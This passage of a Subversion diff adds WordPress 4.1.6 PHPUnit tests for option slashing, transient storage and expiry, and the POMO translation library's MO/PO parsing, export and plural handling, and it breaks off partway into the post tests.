+		$this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+		$this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+		$this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+	}
+
+	/**
+	 * Tests the model function that expects un-slashed data
+	 *
+	 */
+	function test_add_option() {
+		add_option( 'slash_test_1', $this->slash_1 );
+		add_option( 'slash_test_2', $this->slash_2 );
+		add_option( 'slash_test_3', $this->slash_3 );
+		add_option( 'slash_test_4', $this->slash_4 );
+
+		$this->assertEquals( $this->slash_1, get_option( 'slash_test_1' ) );
+		$this->assertEquals( $this->slash_2, get_option( 'slash_test_2' ) );
+		$this->assertEquals( $this->slash_3, get_option( 'slash_test_3' ) );
+		$this->assertEquals( $this->slash_4, get_option( 'slash_test_4' ) );
+	}
+
+	/**
+	 * Tests the model function that expects un-slashed data
+	 *
+	 */
+	function test_update_option() {
+		add_option( 'slash_test_5', 'foo' );
+
+		update_option( 'slash_test_5', $this->slash_1 );
+		$this->assertEquals( $this->slash_1, get_option( 'slash_test_5' ) );
+
+		update_option( 'slash_test_5', $this->slash_2 );
+		$this->assertEquals( $this->slash_2, get_option( 'slash_test_5' ) );
+
+		update_option( 'slash_test_5', $this->slash_3 );
+		$this->assertEquals( $this->slash_3, get_option( 'slash_test_5' ) );
+
+		update_option( 'slash_test_5', $this->slash_4 );
+		$this->assertEquals( $this->slash_4, get_option( 'slash_test_5' ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/option/transient.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/option/transient.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/option/transient.php	(revision 33402)
@@ -0,0 +1,86 @@
+<?php
+
+/**
+ * @group option
+ */
+class Tests_Option_Transient extends WP_UnitTestCase {
+
+	function test_the_basics() {
+		$key = rand_str();
+		$value = rand_str();
+		$value2 = rand_str();
+
+		$this->assertFalse( get_transient( 'doesnotexist' ) );
+		$this->assertTrue( set_transient( $key, $value ) );
+		$this->assertEquals( $value, get_transient( $key ) );
+		$this->assertFalse( set_transient( $key, $value ) );
+		$this->assertTrue( set_transient( $key, $value2 ) );
+		$this->assertEquals( $value2, get_transient( $key ) );
+		$this->assertTrue( delete_transient( $key ) );
+		$this->assertFalse( get_transient( $key ) );
+		$this->assertFalse( delete_transient( $key ) );
+	}
+
+	function test_serialized_data() {
+		$key = rand_str();
+		$value = array( 'foo' => true, 'bar' => true );
+
+		$this->assertTrue( set_transient( $key, $value ) );
+		$this->assertEquals( $value, get_transient( $key ) );
+
+		$value = (object) $value;
+		$this->assertTrue( set_transient( $key, $value ) );
+		$this->assertEquals( $value, get_transient( $key ) );
+		$this->assertTrue( delete_transient( $key ) );
+	}
+
+	/**
+	 * @ticket 22807
+	 */
+	function test_transient_data_with_timeout() {
+		if ( is_multisite() ) {
+			$this->markTestSkipped( 'Not testable in MS: wpmu_create_blog() defines WP_INSTALLING.' );
+		}
+
+		$key = rand_str();
+		$value = rand_str();
+
+		$this->assertFalse( get_option( '_transient_timeout_' . $key ) );
+		$now = time();
+
+		$this->assertTrue( set_transient( $key, $value, 100 ) );
+
+		// Ensure the transient timeout is set for 100-101 seconds in the future.
+		$this->assertGreaterThanOrEqual( $now + 100, get_option( '_transient_timeout_' . $key ) );
+		$this->assertLessThanOrEqual( $now + 101, get_option( '_transient_timeout_' . $key ) );
+
+		// Update the timeout to a second in the past and watch the transient be invalidated.
+		update_option( '_transient_timeout_' . $key, $now - 1 );
+		$this->assertFalse( get_transient( $key ) );
+	}
+
+	/**
+	 * @ticket 22807
+	 */
+	function test_transient_add_timeout() {
+		if ( is_multisite() ) {
+			$this->markTestSkipped( 'Not testable in MS: wpmu_create_blog() defines WP_INSTALLING.' );
+		}
+
+		$key = rand_str();
+		$value = rand_str();
+		$value2 = rand_str();
+		$this->assertTrue( set_transient( $key, $value ) );
+		$this->assertEquals( $value, get_transient( $key ) );
+
+		$this->assertFalse( get_option( '_transient_timeout_' . $key ) );
+
+		$now = time();
+		// Add timeout to existing timeout-less transient.
+		$this->assertTrue( set_transient( $key, $value2, 1 ) );
+		$this->assertGreaterThanOrEqual( $now, get_option( '_transient_timeout_' . $key ) );
+
+		update_option( '_transient_timeout_' . $key, $now - 1 );
+		$this->assertFalse( get_transient( $key ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/pomo/mo.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/pomo/mo.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/pomo/mo.php	(revision 33402)
@@ -0,0 +1,143 @@
+<?php
+
+class Tests_POMO_MO extends WP_UnitTestCase {
+
+	function test_mo_simple() {
+		$mo = new MO();
+		$mo->import_from_file(DIR_TESTDATA . '/pomo/simple.mo');
+		$this->assertEquals(array('Project-Id-Version' => 'WordPress 2.6-bleeding', 'Report-Msgid-Bugs-To' => 'wp-polyglots@lists.automattic.com'), $mo->headers);
+		$this->assertEquals(2, count($mo->entries));
+		$this->assertEquals(array('dyado'), $mo->entries['baba']->translations);
+		$this->assertEquals(array('yes'), $mo->entries["kuku\nruku"]->translations);
+	}
+
+	function test_mo_plural() {
+		$mo = new MO();
+		$mo->import_from_file(DIR_TESTDATA . '/pomo/plural.mo');
+		$this->assertEquals(1, count($mo->entries));
+		$this->assertEquals(array("oney dragoney", "twoey dragoney", "manyey dragoney", "manyeyey dragoney", "manyeyeyey dragoney"), $mo->entries["one dragon"]->translations);
+
+		$this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', 1));
+		$this->assertEquals('twoey dragoney', $mo->translate_plural('one dragon', '%d dragons', 2));
+		$this->assertEquals('twoey dragoney', $mo->translate_plural('one dragon', '%d dragons', -8));
+
+
+		$mo->set_header('Plural-Forms', 'nplurals=5; plural=0');
+		$this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', 1));
+		$this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', 2));
+		$this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', -8));
+
+		$mo->set_header('Plural-Forms', 'nplurals=5; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;');
+		$this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', 1));
+		$this->assertEquals('manyey dragoney', $mo->translate_plural('one dragon', '%d dragons', 11));
+		$this->assertEquals('twoey dragoney', $mo->translate_plural('one dragon', '%d dragons', 3));
+
+		$mo->set_header('Plural-Forms', 'nplurals=2; plural=n !=1;');
+		$this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', 1));
+		$this->assertEquals('twoey dragoney', $mo->translate_plural('one dragon', '%d dragons', 2));
+		$this->assertEquals('twoey dragoney', $mo->translate_plural('one dragon', '%d dragons', -8));
+	}
+
+	function test_mo_context() {
+		$mo = new MO();
+		$mo->import_from_file(DIR_TESTDATA . '/pomo/context.mo');
+		$this->assertEquals(2, count($mo->entries));
+		$plural_entry = new Translation_Entry(array('singular' => 'one dragon', 'plural' => '%d dragons', 'translations' => array("oney dragoney", "twoey dragoney","manyey dragoney"), 'context' => 'dragonland'));
+		$this->assertEquals($plural_entry, $mo->entries[$plural_entry->key()]);
+		$this->assertEquals("dragonland", $mo->entries[$plural_entry->key()]->context);
+
+		$single_entry = new Translation_Entry(array('singular' => 'one dragon', 'translations' => array("oney dragoney"), 'context' => 'not so dragon'));
+		$this->assertEquals($single_entry, $mo->entries[$single_entry->key()]);
+		$this->assertEquals("not so dragon", $mo->entries[$single_entry->key()]->context);
+
+	}
+
+	function test_translations_merge() {
+		$host = new Translations();
+		$host->add_entry(new Translation_Entry(array('singular' => 'pink',)));
+		$host->add_entry(new Translation_Entry(array('singular' => 'green',)));
+		$guest = new Translations();
+		$guest->add_entry(new Translation_Entry(array('singular' => 'green',)));
+		$guest->add_entry(new Translation_Entry(array('singular' => 'red',)));
+		$host->merge_with($guest);
+		$this->assertEquals(3, count($host->entries));
+		$this->assertEquals(array(), array_diff(array('pink', 'green', 'red'), array_keys($host->entries)));
+	}
+
+	function test_export_mo_file() {
+		$entries = array();
+		$entries[] = new Translation_Entry(array('singular' => 'pink',
+			'translations' => array('розов')));
+		$no_translation_entry = new Translation_Entry(array('singular' => 'grey'));
+		$entries[] = new Translation_Entry(array('singular' => 'green', 'plural' => 'greens',
+			'translations' => array('зелен', 'зелени')));
+		$entries[] = new Translation_Entry(array('singular' => 'red', 'context' => 'color',
+			'translations' => array('червен')));
+		$entries[] = new Translation_Entry(array('singular' => 'red', 'context' => 'bull',
+			'translations' => array('бик')));
+		$entries[] = new Translation_Entry(array('singular' => 'maroon', 'plural' => 'maroons', 'context' => 'context',
+			'translations' => array('пурпурен', 'пурпурни')));
+
+		$mo = new MO();
+		$mo->set_header('Project-Id-Version', 'Baba Project 1.0');
+		foreach($entries as $entry) {
+			$mo->add_entry($entry);
+		}
+		$mo->add_entry($no_translation_entry);
+
+		$temp_fn = $this->temp_filename();
+		$mo->export_to_file($temp_fn);
+
+		$again = new MO();
+		$again->import_from_file($temp_fn);
+
+		$this->assertEquals(count($entries), count($again->entries));
+		foreach($entries as $entry) {
+			$this->assertEquals($entry, $again->entries[$entry->key()]);
+		}
+	}
+
+	function test_export_should_not_include_empty_translations() {
+		$entries = array(  );
+		$mo = new MO;
+		$mo->add_entry( array( 'singular' => 'baba', 'translations' => array( '', '' ) ) );
+
+		$temp_fn = $this->temp_filename();
+		$mo->export_to_file( $temp_fn );
+
+		$again = new MO();
+		$again->import_from_file($temp_fn);
+
+		$this->assertEquals( 0, count( $again->entries ) );
+	}
+
+	function test_nplurals_with_backslashn() {
+		$mo = new MO();
+		$mo->import_from_file(DIR_TESTDATA . '/pomo/bad_nplurals.mo');
+		$this->assertEquals('%d foro', $mo->translate_plural('%d forum', '%d forums', 1));
+		$this->assertEquals('%d foros', $mo->translate_plural('%d forum', '%d forums', 2));
+		$this->assertEquals('%d foros', $mo->translate_plural('%d forum', '%d forums', -1));
+	}
+
+	function disabled_test_performance() {
+		$start = microtime(true);
+		$mo = new MO();
+		$mo->import_from_file(DIR_TESTDATA . '/pomo/de_DE-2.8.mo');
+		// echo "\nPerformance: ".(microtime(true) - $start)."\n";
+	}
+
+	function test_overloaded_mb_functions() {
+		// skipIf() method skips the whole test case, not only this method
+		// that's why we are skipping it the stupid way
+		if ((ini_get("mbstring.func_overload") & 2) != 0) {
+			$mo = new MO();
+			$mo->import_from_file(DIR_TESTDATA . '/pomo/overload.mo');
+			$this->assertEquals(array('Табло'), $mo->entries['Dashboard']->translations);
+		}
+	}
+
+	function test_load_pot_file() {
+		$mo = new MO();
+		$this->assertEquals( false, $mo->import_from_file(DIR_TESTDATA . '/pomo/mo.pot') );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/pomo/noopTranslations.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/pomo/noopTranslations.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/pomo/noopTranslations.php	(revision 33402)
@@ -0,0 +1,41 @@
+<?php
+
+class Tests_POMO_NOOPTranslations extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		$this->noop = new NOOP_Translations;
+		$this->entry = new Translation_Entry( array( 'singular' => 'baba' ) );
+		$this->plural_entry = new Translation_Entry(array('singular' => 'dyado', 'plural' => 'dyados', 'translations' => array('dyadox', 'dyadoy')));
+	}
+
+	function test_get_header() {
+		$this->assertEquals( false, $this->noop->get_header( 'Content-Type' ) );
+	}
+
+	function test_add_entry() {
+		$this->noop->add_entry( $this->entry );
+		$this->assertEquals( array(), $this->noop->entries );
+	}
+
+	function test_set_header() {
+		$this->noop->set_header( 'header', 'value' );
+		$this->assertEquals( array(), $this->noop->headers );
+	}
+
+	function test_translate_entry() {
+		$this->noop->add_entry( $this->entry );
+		$this->assertEquals( false, $this->noop->translate_entry( $this->entry ) );
+	}
+
+	function test_translate() {
+		$this->noop->add_entry( $this->entry );
+		$this->assertEquals( 'baba', $this->noop->translate( 'baba' ) );
+	}
+
+	function test_plural() {
+		$this->noop->add_entry( $this->plural_entry );
+		$this->assertEquals( 'dyado', $this->noop->translate_plural( 'dyado', 'dyados', 1 ) );
+		$this->assertEquals( 'dyados', $this->noop->translate_plural( 'dyado', 'dyados', 11 ) );
+		$this->assertEquals( 'dyados', $this->noop->translate_plural( 'dyado', 'dyados', 0 ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/pomo/po.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/pomo/po.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/pomo/po.php	(revision 33402)
@@ -0,0 +1,222 @@
+<?php
+
+class Tests_POMO_PO extends WP_UnitTestCase {
+	function setUp() {
+		require_once ABSPATH . '/wp-includes/pomo/po.php';
+		// not so random wordpress.pot string -- multiple lines
+		$this->mail = "Your new WordPress blog has been successfully set up at:
+
+%1\$s
+
+You can log in to the administrator account with the following information:
+
+Username: %2\$s
+Password: %3\$s
+
+We hope you enjoy your new blog. Thanks!
+
+--The WordPress Team
+http://wordpress.org/
+";
+	$this->po_mail = '""
+"Your new WordPress blog has been successfully set up at:\n"
+"\n"
+"%1$s\n"
+"\n"
+"You can log in to the administrator account with the following information:\n"
+"\n"
+"Username: %2$s\n"
+"Password: %3$s\n"
+"\n"
+"We hope you enjoy your new blog. Thanks!\n"
+"\n"
+"--The WordPress Team\n"
+"http://wordpress.org/\n"';
+		$this->a90 = str_repeat("a", 90);
+		$this->po_a90 = "\"$this->a90\"";
+    }
+
+	function test_prepend_each_line() {
+		$po = new PO();
+		$this->assertEquals('baba_', $po->prepend_each_line('', 'baba_'));
+		$this->assertEquals('baba_dyado', $po->prepend_each_line('dyado', 'baba_'));
+		$this->assertEquals("# baba\n# dyado\n# \n", $po->prepend_each_line("baba\ndyado\n\n", '# '));
+	}
+
+	function test_poify() {
+		$po = new PO();
+		//simple
+		$this->assertEquals('"baba"', $po->poify('baba'));
+		//long word
+		$this->assertEquals($this->po_a90, $po->poify($this->a90));
+		// tab
+		$this->assertEquals('"ba\tba"', $po->poify("ba\tba"));
+		// do not add leading empty string of one-line string ending on a newline
+		$this->assertEquals('"\\\\a\\\\n\\n"', $po->poify("\a\\n\n"));
+		// backslash
+		$this->assertEquals('"ba\\\\ba"', $po->poify('ba\\ba'));
+		// random wordpress.pot string
+		$src = 'Categories can be selectively converted to tags using the <a href="%s">category to tag converter</a>.';
+		$this->assertEquals("\"Categories can be selectively converted to tags using the <a href=\\\"%s\\\">category to tag converter</a>.\"", $po->poify($src));
+
+		$this->assertEquals($this->po_mail, $po->poify($this->mail));
+	}
+
+	function test_unpoify() {
+		$po = new PO();
+		$this->assertEquals('baba', $po->unpoify('"baba"'));
+		$this->assertEquals("baba\ngugu", $po->unpoify('"baba\n"'."\t\t\t\n".'"gugu"'));
+		$this->assertEquals($this->a90, $po->unpoify($this->po_a90));
+		$this->assertEquals('\\t\\n', $po->unpoify('"\\\\t\\\\n"'));
+		// wordwrapped
+		$this->assertEquals('babadyado', $po->unpoify("\"\"\n\"baba\"\n\"dyado\""));
+		$this->assertEquals($this->mail, $po->unpoify($this->po_mail));
+	}
+
+	function test_export_entry() {
+		$po = new PO();
+		$entry = new Translation_Entry(array('singular' => 'baba'));
+		$this->assertEquals("msgid \"baba\"\nmsgstr \"\"", $po->export_entry($entry));
+		// plural
+		$entry = new Translation_Entry(array('singular' => 'baba', 'plural' => 'babas'));
+		$this->assertEquals('msgid "baba"
+msgid_plural "babas"
+msgstr[0] ""
+msgstr[1] ""', $po->export_entry($entry));
+		$entry = new Translation_Entry(array('singular' => 'baba', 'translator_comments' => "baba\ndyado"));
+		$this->assertEquals('#  baba
+#  dyado
+msgid "baba"
+msgstr ""', $po->export_entry($entry));
+		$entry = new Translation_Entry(array('singular' => 'baba', 'extracted_comments' => "baba"));
+		$this->assertEquals('#. baba
+msgid "baba"
+msgstr ""', $po->export_entry($entry));
+		$entry = new Translation_Entry(array(
+			'singular' => 'baba',
+			'extracted_comments' => "baba",
+			'references' => range(1, 29)));
+		$this->assertEquals('#. baba
+#: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
+#: 29
+msgid "baba"
+msgstr ""', $po->export_entry($entry));
+		$entry = new Translation_Entry(array('singular' => 'baba', 'translations' => array()));
+		$this->assertEquals("msgid \"baba\"\nmsgstr \"\"", $po->export_entry($entry));
+
+		$entry = new Translation_Entry(array('singular' => 'baba', 'translations' => array('куку', 'буку')));
+		$this->assertEquals("msgid \"baba\"\nmsgstr \"куку\"", $po->export_entry($entry));
+
+		$entry = new Translation_Entry(array('singular' => 'baba', 'plural' => 'babas', 'translations' => array('кукубуку')));
+		$this->assertEquals('msgid "baba"
+msgid_plural "babas"
+msgstr[0] "кукубуку"', $po->export_entry($entry));
+
+		$entry = new Translation_Entry(array('singular' => 'baba', 'plural' => 'babas', 'translations' => array('кукубуку', 'кукуруку', 'бабаяга')));
+		$this->assertEquals('msgid "baba"
+msgid_plural "babas"
+msgstr[0] "кукубуку"
+msgstr[1] "кукуруку"
+msgstr[2] "бабаяга"', $po->export_entry($entry));
+		// context
+		$entry = new Translation_Entry(array('context' => 'ctxt', 'singular' => 'baba', 'plural' => 'babas', 'translations' => array('кукубуку', 'кукуруку', 'бабаяга'), 'flags' => array('fuzzy', 'php-format')));
+		$this->assertEquals('#, fuzzy, php-format
+msgctxt "ctxt"
+msgid "baba"
+msgid_plural "babas"
+msgstr[0] "кукубуку"
+msgstr[1] "кукуруку"
+msgstr[2] "бабаяга"', $po->export_entry($entry));
+    }
+
+	function test_export_entries() {
+		$entry = new Translation_Entry(array('singular' => 'baba',));
+		$entry2 = new Translation_Entry(array('singular' => 'dyado',));
+		$po = new PO();
+		$po->add_entry($entry);
+		$po->add_entry($entry2);
+		$this->assertEquals("msgid \"baba\"\nmsgstr \"\"\n\nmsgid \"dyado\"\nmsgstr \"\"", $po->export_entries());
+	}
+
+	function test_export_headers() {
+		$po = new PO();
+		$po->set_header('Project-Id-Version', 'WordPress 2.6-bleeding');
+		$po->set_header('POT-Creation-Date', '2008-04-08 18:00+0000');
+		$this->assertEquals("msgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: WordPress 2.6-bleeding\\n\"\n\"POT-Creation-Date: 2008-04-08 18:00+0000\\n\"", $po->export_headers());
+	}
+
+	function test_export() {
+		$po = new PO();
+		$entry = new Translation_Entry(array('singular' => 'baba',));
+		$entry2 = new Translation_Entry(array('singular' => 'dyado',));
+		$po->set_header('Project-Id-Version', 'WordPress 2.6-bleeding');
+		$po->set_header('POT-Creation-Date', '2008-04-08 18:00+0000');
+		$po->add_entry($entry);
+		$po->add_entry($entry2);
+		$this->assertEquals("msgid \"baba\"\nmsgstr \"\"\n\nmsgid \"dyado\"\nmsgstr \"\"", $po->export(false));
+		$this->assertEquals("msgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: WordPress 2.6-bleeding\\n\"\n\"POT-Creation-Date: 2008-04-08 18:00+0000\\n\"\n\nmsgid \"baba\"\nmsgstr \"\"\n\nmsgid \"dyado\"\nmsgstr \"\"", $po->export());
+	}
+
+
+	function test_export_to_file() {
+		$po = new PO();
+		$entry = new Translation_Entry(array('singular' => 'baba',));
+		$entry2 = new Translation_Entry(array('singular' => 'dyado',));
+		$po->set_header('Project-Id-Version', 'WordPress 2.6-bleeding');
+		$po->set_header('POT-Creation-Date', '2008-04-08 18:00+0000');
+		$po->add_entry($entry);
+		$po->add_entry($entry2);
+
+		$temp_fn = $this->temp_filename();
+		$po->export_to_file($temp_fn, false);
+		$this->assertEquals($po->export(false), file_get_contents($temp_fn));
+
+		$temp_fn2 = $this->temp_filename();
+		$po->export_to_file($temp_fn2);
+		$this->assertEquals($po->export(), file_get_contents($temp_fn2));
+	}
+
+	function test_import_from_file() {
+		$po = new PO();
+		$res = $po->import_from_file(DIR_TESTDATA . '/pomo/simple.po');
+		$this->assertEquals(true, $res);
+
+		$this->assertEquals(array('Project-Id-Version' => 'WordPress 2.6-bleeding', 'Plural-Forms' => 'nplurals=2; plural=n != 1;'), $po->headers);
+
+		$simple_entry = new Translation_Entry(array('singular' => 'moon',));
+		$this->assertEquals($simple_entry, $po->entries[$simple_entry->key()]);
+
+		$all_types_entry = new Translation_Entry(array('singular' => 'strut', 'plural' => 'struts', 'context' => 'brum',
+			'translations' => array('ztrut0', 'ztrut1', 'ztrut2')));
+		$this->assertEquals($all_types_entry, $po->entries[$all_types_entry->key()]);
+
+		$multiple_line_entry = new Translation_Entry(array('singular' => 'The first thing you need to do is tell Blogger to let WordPress access your account. You will be sent back here after providing authorization.', 'translations' => array("baba\ndyadogugu")));
+		$this->assertEquals($multiple_line_entry, $po->entries[$multiple_line_entry->key()]);
+
+		$multiple_line_all_types_entry = new Translation_Entry(array('context' => 'context', 'singular' => 'singular',
+			'plural' => 'plural', 'translations' => array('translation0', 'translation1', 'translation2')));
+		$this->assertEquals($multiple_line_all_types_entry, $po->entries[$multiple_line_all_types_entry->key()]);
+
+		$comments_entry = new Translation_Entry(array('singular' => 'a', 'translator_comments' => "baba\nbrubru",
+			'references' => array('wp-admin/x.php:111', 'baba:333', 'baba'), 'extracted_comments' => "translators: buuu",
+			'flags' => array('fuzzy')));
+		$this->assertEquals($comments_entry, $po->entries[$comments_entry->key()]);
+
+		$end_quote_entry = new Translation_Entry(array('singular' => 'a"'));
+		$this->assertEquals($end_quote_entry, $po->entries[$end_quote_entry->key()]);
+	}
+
+	function test_import_from_entry_file_should_give_false() {
+		$po = new PO();
+		$this->assertFalse( $po->import_from_file( DIR_TESTDATA . '/pomo/empty.po' ) );
+	}
+
+	function test_import_from_file_with_windows_line_endings_should_work_as_with_unix_line_endings() {
+		$po = new PO();
+		$this->assertTrue( $po->import_from_file( DIR_TESTDATA . '/pomo/windows-line-endings.po' ) );
+		$this->assertEquals( 1, count( $po->entries ) );
+	}
+
+	//TODO: add tests for bad files
+}
+?>
Index: /tags/4.1.6/tests/phpunit/tests/pomo/translationEntry.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/pomo/translationEntry.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/pomo/translationEntry.php	(revision 33402)
@@ -0,0 +1,37 @@
+<?php
+
+class Tests_POMO_TranslationEntry extends WP_UnitTestCase {
+
+	function test_create_entry() {
+		// no singular => empty object
+		$entry = new Translation_Entry();
+		$this->assertNull($entry->singular);
+		$this->assertNull($entry->plural);
+		$this->assertFalse($entry->is_plural);
+		// args -> members
+		$entry = new Translation_Entry(array(
+			'singular' => 'baba',
+			'plural' => 'babas',
+			'translations' => array('баба', 'баби'),
+			'references' => 'should be array here',
+			'flags' => 'baba',
+		));
+		$this->assertEquals('baba', $entry->singular);
+		$this->assertEquals('babas', $entry->plural);
+		$this->assertTrue($entry->is_plural);
+		$this->assertEquals(array('баба', 'баби'), $entry->translations);
+		$this->assertEquals(array(), $entry->references);
+		$this->assertEquals(array(), $entry->flags);
+	}
+
+	function test_key() {
+		$entry_baba = new Translation_Entry(array('singular' => 'baba',));
+		$entry_dyado = new Translation_Entry(array('singular' => 'dyado',));
+		$entry_baba_ctxt = new Translation_Entry(array('singular' => 'baba', 'context' => 'x'));
+		$entry_baba_plural = new Translation_Entry(array('singular' => 'baba', 'plural' => 'babas'));
+		$this->assertEquals($entry_baba->key(), $entry_baba_plural->key());
+		$this->assertNotEquals($entry_baba->key(), $entry_baba_ctxt->key());
+		$this->assertNotEquals($entry_baba_plural->key(), $entry_baba_ctxt->key());
+		$this->assertNotEquals($entry_baba->key(), $entry_dyado->key());
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/pomo/translations.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/pomo/translations.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/pomo/translations.php	(revision 33402)
@@ -0,0 +1,75 @@
+<?php
+class Tests_POMO_Translations extends WP_UnitTestCase {
+
+	function test_add_entry() {
+		$entry = new Translation_Entry(array('singular' => 'baba',));
+		$entry2 = new Translation_Entry(array('singular' => 'dyado',));
+		$empty = new Translation_Entry();
+		$po = new Translations();
+		$po->add_entry($entry);
+		$this->assertEquals(array($entry->key() => $entry), $po->entries);
+		// add the same entry more than once
+		// we do not need to test proper key generation here, see test_key()
+		$po->add_entry($entry);
+		$po->add_entry($entry);
+		$this->assertEquals(array($entry->key() => $entry), $po->entries);
+		$po->add_entry($entry2);
+		$this->assertEquals(array($entry->key() => $entry, $entry2->key() => $entry2), $po->entries);
+		// add empty entry
+		$this->assertEquals(false, $po->add_entry($empty));
+		$this->assertEquals(array($entry->key() => $entry, $entry2->key() => $entry2), $po->entries);
+
+		// give add_entry() the arguments and let it create the entry itself
+		$po = new Translations();
+		$po->add_entry(array('singular' => 'baba',));
+		$entries= array_values($po->entries);
+		$this->assertEquals($entry->key(), $entries[0]->key());
+	}
+
+	function test_translate() {
+		$entry1 = new Translation_Entry(array('singular' => 'baba', 'translations' => array('babax')));
+		$entry2 = new Translation_Entry(array('singular' => 'baba', 'translations' => array('babay'), 'context' => 'x'));
+		$domain = new Translations();
+		$domain->add_entry($entry1);
+		$domain->add_entry($entry2);
+		$this->assertEquals('babax', $domain->translate('baba'));
+		$this->assertEquals('babay', $domain->translate('baba', 'x'));
+		$this->assertEquals('baba', $domain->translate('baba', 'y'));
+		$this->assertEquals('babaz', $domain->translate('babaz'));
+	}
+
+	function test_translate_plural() {
+		$entry_incomplete = new Translation_Entry(array('singular' => 'baba', 'plural' => 'babas', 'translations' => array('babax')));
+		$entry_toomany = new Translation_Entry(array('singular' => 'wink', 'plural' => 'winks', 'translations' => array('winki', 'winka', 'winko')));
+		$entry_2 = new Translation_Entry(array('singular' => 'dyado', 'plural' => 'dyados', 'translations' => array('dyadox', 'dyadoy')));
+		$domain = new Translations();
+		$domain->add_entry($entry_incomplete);
+		$domain->add_entry($entry_toomany);
+		$domain->add_entry($entry_2);
+		$this->assertEquals('other', $domain->translate_plural('other', 'others', 1));
+		$this->assertEquals('others', $domain->translate_plural('other', 'others', 111));
+		// too few translations + cont logic
+		$this->assertEquals('babas', $domain->translate_plural('baba', 'babas', 2));
+		$this->assertEquals('babas', $domain->translate_plural('baba', 'babas', 0));
+		$this->assertEquals('babas', $domain->translate_plural('baba', 'babas', -1));
+		$this->assertEquals('babas', $domain->translate_plural('baba', 'babas', 999));
+		// proper
+		$this->assertEquals('dyadox', $domain->translate_plural('dyado', 'dyados', 1));
+		$this->assertEquals('dyadoy', $domain->translate_plural('dyado', 'dyados', 0));
+		$this->assertEquals('dyadoy', $domain->translate_plural('dyado', 'dyados', 18881));
+		$this->assertEquals('dyadoy', $domain->translate_plural('dyado', 'dyados', -18881));
+	}
+
+	function test_digit_and_merge() {
+		$entry_digit_1 = new Translation_Entry(array('singular' => 1, 'translations' => array('1')));
+		$entry_digit_2 = new Translation_Entry(array('singular' => 2, 'translations' => array('2')));
+		$domain = new Translations();
+		$domain->add_entry($entry_digit_1);
+		$domain->add_entry($entry_digit_2);
+		$dummy_translation = new Translations;
+		$this->assertEquals( '1', $domain->translate( '1' ) );
+		$domain->merge_with( $dummy_translation );
+		$this->assertEquals( '1', $domain->translate( '1' ) );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/post.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/post.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/post.php	(revision 33402)
@@ -0,0 +1,1071 @@
+<?php
+
+/**
+ * test wp-includes/post.php
+ *
+ * @group post
+ */
+class Tests_Post extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		$this->author_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+		$this->old_current_user = get_current_user_id();
+		wp_set_current_user( $this->author_id );
+		_set_cron_array(array());
+		$this->post_ids = array();
+	}
+
+	function tearDown() {
+		wp_set_current_user( $this->old_current_user );
+		parent::tearDown();
+	}
+
+	// helper function: return the timestamp(s) of cron jobs for the specified hook and post
+	function _next_schedule_for_post($hook, $id) {
+		return wp_next_scheduled('publish_future_post', array(0=>intval($id)));
+	}
+
+	// helper function, unsets current user globally
+	function _unset_current_user() {
+		global $current_user, $user_ID;
+
+		$current_user = $user_ID = null;
+	}
+
+	// test simple valid behavior: insert and get a post
+	function test_vb_insert_get_delete() {
+		register_post_type( 'cpt', array( 'taxonomies' => array( 'post_tag', 'ctax' ) ) );
+		register_taxonomy( 'ctax', 'cpt' );
+		$post_types = array( 'post', 'cpt' );
+
+		foreach ( $post_types as $post_type ) {
+			$post = array(
+				'post_author' => $this->author_id,
+				'post_status' => 'publish',
+				'post_content' => rand_str(),
+				'post_title' => rand_str(),
+				'tax_input' => array( 'post_tag' => 'tag1,tag2', 'ctax' => 'cterm1,cterm2' ),
+				'post_type' => $post_type
+			);
+
+			// insert a post and make sure the ID is ok
+			$id = wp_insert_post($post);
+			$this->assertTrue(is_numeric($id));
+			$this->assertTrue($id > 0);
+
+			// fetch the post and make sure it matches
+			$out = get_post($id);
+
+			$this->assertEquals($post['post_content'], $out->post_content);
+			$this->assertEquals($post['post_title'], $out->post_title);
+			$this->assertEquals($post['post_status'], $out->post_status);
+			$this->assertEquals($post['post_author'], $out->post_author);
+
+			// test cache state
+			$pcache = wp_cache_get( $id, 'posts' );
+			$this->assertInstanceOf( 'stdClass', $pcache );
+			$this->assertEquals( $id, $pcache->ID );
+
+			update_object_term_cache( $id, $post_type );
+			$tcache = wp_cache_get( $id, "post_tag_relationships" );
+			$this->assertInternalType( 'array', $tcache );
